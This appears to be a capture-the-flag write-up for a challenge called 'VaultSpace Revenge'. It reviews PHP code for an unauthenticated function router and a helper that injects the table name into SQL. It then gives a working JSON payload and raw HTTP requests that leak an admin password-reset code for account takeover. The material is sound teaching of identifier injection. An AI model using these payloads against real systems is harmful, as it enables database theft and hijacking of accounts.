VaultSpace Revenge
Code Review
api_handler.php
What it does: It accepts POST requests. If the body is JSON, it reads action
and params
. Then it calls a function named by action
(with params
as arguments) and returns the result as JSON.
// api_handler.php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$contentType = $_SERVER['CONTENT_TYPE'] ?? '';
if (strpos($contentType, 'application/json') !== false) {
$input = json_decode(file_get_contents('php://input'), true);
$action = $input['action'] ?? '';
$params = $input['params'] ?? [];
} else {
$action = $_POST['action'] ?? '';
$params = $_POST['params'] ?? [];
}
$result = safe_call_function($action, $params);
echo json_encode(['status' => 'success', 'data' => $result]);
}
Why it’s vulnerable: There’s no authentication or authorization here. If I know the name of an internal helper function that matches the expected pattern, I can execute it as an unauthenticated user and get its return value back as JSON. That turns this endpoint into a capabilities vending machine.
functions.php
safe_call_function()
What it does: It only allows functions whose names start with get_
, check_
, or set_
, verifies they exist, then calls them.
// functions.php
function safe_call_function($function_name, $params = []) {
if (!preg_match('/^(get_|check_|set_)[a-zA-Z0-9_]+$/', $function_name)) {
throw new Exception("Invalid function name format.");
}
if (!function_exists($function_name)) {
throw new Exception("Function '$function_name' does not exist.");
}
return call_user_func_array($function_name, $params);
}
Why it’s vulnerable: The regex stops you from calling random PHP built-ins like system
, sure. But it doesn’t check who is calling what. Any exported helper that matches the naming rule becomes public. That’s not access control; it’s just a naming convention. In other words, once /api_handler.php
is reachable, every “get_/check_/set_*” function is effectively public.
get_file_details()
What it does: Looks up a record by file_name
from a caller-supplied “table name”, returns the first column of the row.
// functions.php
function get_file_details($tablename, $file_name) {
global $pdo;
$stmt = $pdo->prepare("SELECT * FROM $tablename WHERE file_name = ? LIMIT 1");
$stmt->bindParam(1, $file_name);
$stmt->execute();
$data = $stmt->fetch(PDO::FETCH_ASSOC);
return $data[0];
}
Identifier injection:
Values can be bound with ?
, but identifiers (table/column names) cannot. Here, $tablename
is concatenated directly into SQL. That lets an attacker pass a crafted subquery instead of a plain table name. Example shape we used:
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
This creates a fake “table” with a column that contains the admin’s reset code.
“Magic index” return:
The function returns $data[0]
. With PDO::FETCH_ASSOC
, $data
is associative (by column names). But in PHP, if a key is the string "0"
, $data[0]
will happily return it. So if we alias a column as `0`
, the function will return whatever value we pack into that column. That’s why the subquery above names the secret column `0`
.
Building the payload
What the API expects
The vulnerable helper is effectively:
get_file_details($tablename, $file_name)
Inside, it runs:
SELECT * FROM <tablename> WHERE file_name = ? LIMIT 1
and returns the first column of the returned row (via $data[0]
So if you pass:
tablename = uploads
file_name = "logo.png"
it would select from the real table uploads
and return a field from that row.
Our Trick
SQL lets you use a derived table (a subquery that pretends to be a table):
(SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
It creates a pretend table
t
with one row and two columns:file_name
='a'
(just a constant string)`0`
= the admin’s reset code (selected from the realusers
table)
So our “table” looks like this in memory:
file_name
0
a
<admin_reset_code>
We chose file_name = 'a'
so it will match the WHERE file_name = ?
filter.
Why alias the secret column as `0`
?
`0`
?Because the PHP code returns $data[0]
.
When PDO fetches rows as an associative array, it looks like:
$row = [
'file_name' => 'a',
'0' => '<admin_reset_code>'
];
In PHP, $row[0]
will return the value of the '0' key.
So by naming the secret column `0`
, we guarantee the function returns exactly the secret.
Final payload
{
"action": "get_file_details",
"params": [
"(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
"a"
]
}
params[0]
→ becomes<tablename>
in the SQL. We supply our fake table.params[1]
→ becomes the?
value forfile_name
. We pass"a"
to match the row.
The database executes:
SELECT *
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = 'a'
LIMIT 1;
The row comes back as {'file_name': 'a', '0': '<code>'}
→ the PHP returns $row[0]
→ <code>
.
Exploitation steps
Step 1 — request a reset code for admin
admin
We don’t need email. We just need the server to generate a valid, fresh code
for the admin
account and put $_SESSION['reset_user'] = 'admin'
into our session so /reset.php
it will accept us as the one performing the reset.
POST /forgot_password.php
Host: 95.217.6.37:20007
Content-Type: application/x-www-form-urlencoded
Cookie: PHPSESSID=<cookie>
username=admin
Keep the same PHPSESSID
for the whole flow. The reset page checks your session to confirm you initiated the reset.
Step 2 — Read the secret code back out via the router
We’ll call get_file_details
through the unauthenticated router and turn the table name into a derived table that manufactures two columns:
'a' AS file_name
(so theWHERE file_name = ?
binds cleanly), and(SELECT code FROM users WHERE username='admin') AS \
0`` (our secret, aliased as backtick-zero).
POST /api_handler.php
Host: 95.217.6.37:20007
Content-Type: application/json
Cookie: PHPSESSID=<cookie>
{
"action": "get_file_details",
"params": [
"(SELECT 'a' AS file_name, (SELECT code FROM users WHERE username='admin') AS `0`) t",
"a"
]
}
What the SQL becomes:
SELECT *
FROM (SELECT 'a' AS file_name,
(SELECT code FROM users WHERE username='admin') AS `0`) t
WHERE file_name = ? LIMIT 1;
-- bound value: "a"
What the PHP returns: $row[0]
→ the value of column `0`
→ the admin’s reset code. The API wraps it as JSON.

Last updated
Was this helpful?